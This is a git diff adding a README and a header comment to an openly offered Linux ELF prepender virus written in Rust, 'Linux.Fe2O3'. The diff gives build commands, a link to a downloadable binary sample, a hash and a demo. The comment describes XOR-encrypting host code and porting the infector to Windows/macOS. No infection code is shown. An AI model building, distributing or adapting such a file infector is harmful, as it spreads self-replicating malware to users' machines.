diff --git a/README.md b/README.md
index 7c223f9..8b72e54 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,24 @@
-# Fe2O3
-Simple prepender virus written in Rust
+# Linux.Fe2O3
+
+This is a POC ELF prepender written in Rust. I like writting prependers on languages that I'm learning and find interesting.
+
+# Build
+```$ cd src
+$ rustc main.rs -o Linux.Fe2O3
+```
+
+Note that the Rust version used is `rustc 1.37.0 (eae3437df 2019-08-13)`, the latest at this moment.
+
+# Binary Sample
+A binary sample is also available at https://www.guitmz.com/Linux.Fe2O3 
+
+```
+$ file Linux.Fe2O3
+Linux.Fe2O3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped
+
+$ sha1sum Linux.Fe2O3
+c185ab0fd9b1c8f3ddaed7079898383edbcbb7f7  Linux.Fe2O3
+```
+
+# Demo
+[![asciicast](https://asciinema.org/a/gMwAoQozAKpX851zXE8DncDSc.png)](https://asciinema.org/a/gMwAoQozAKpX851zXE8DncDSc)
diff --git a/src/main.rs b/src/main.rs
index 4baf3b6..1fd5f5e 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,3 +1,26 @@
+/*
+ This is a ELF prepender written in Rust by TMZ (2019).
+ I like writting prependers on languages that I'm learning and find interesting.
+
+ Linux.Fe2O3 (September 2019) - Simple binary infector written in Rust.
+ This version encrypts the host code with a simple XOR and decrypts it at runtime.
+ It's almost a direct port from my Nim infector Linux.Cephei and Go infector Linux.Liora.
+ 
+ Build with: rustc main.rs -o Linux.Fe2O3
+ 
+ Note that Rust version used was rustc 1.37.0 (eae3437df 2019-08-13).
+ It has no external dependencies so it should compile under most systems (tested under x86_64).
+ It's also possible to adapt it to be a PE/Mach infector and compile under Windows/macOS.
+
+ Use at your own risk, I'm not responsible for any damages that this may cause.
+ A big shout for those who keeps the scene alive!
+ 
+ Feel free to email me: thomazi@linux.com || guilherme@guitmz.com 
+ You can also find me at Twitter @TMZvx || @guitmz
+ 
+ https://www.guitmz.com
+*/
+
 use std::ffi::{OsStr, OsString};
 use std::fs::File;
 use std::io::prelude::*;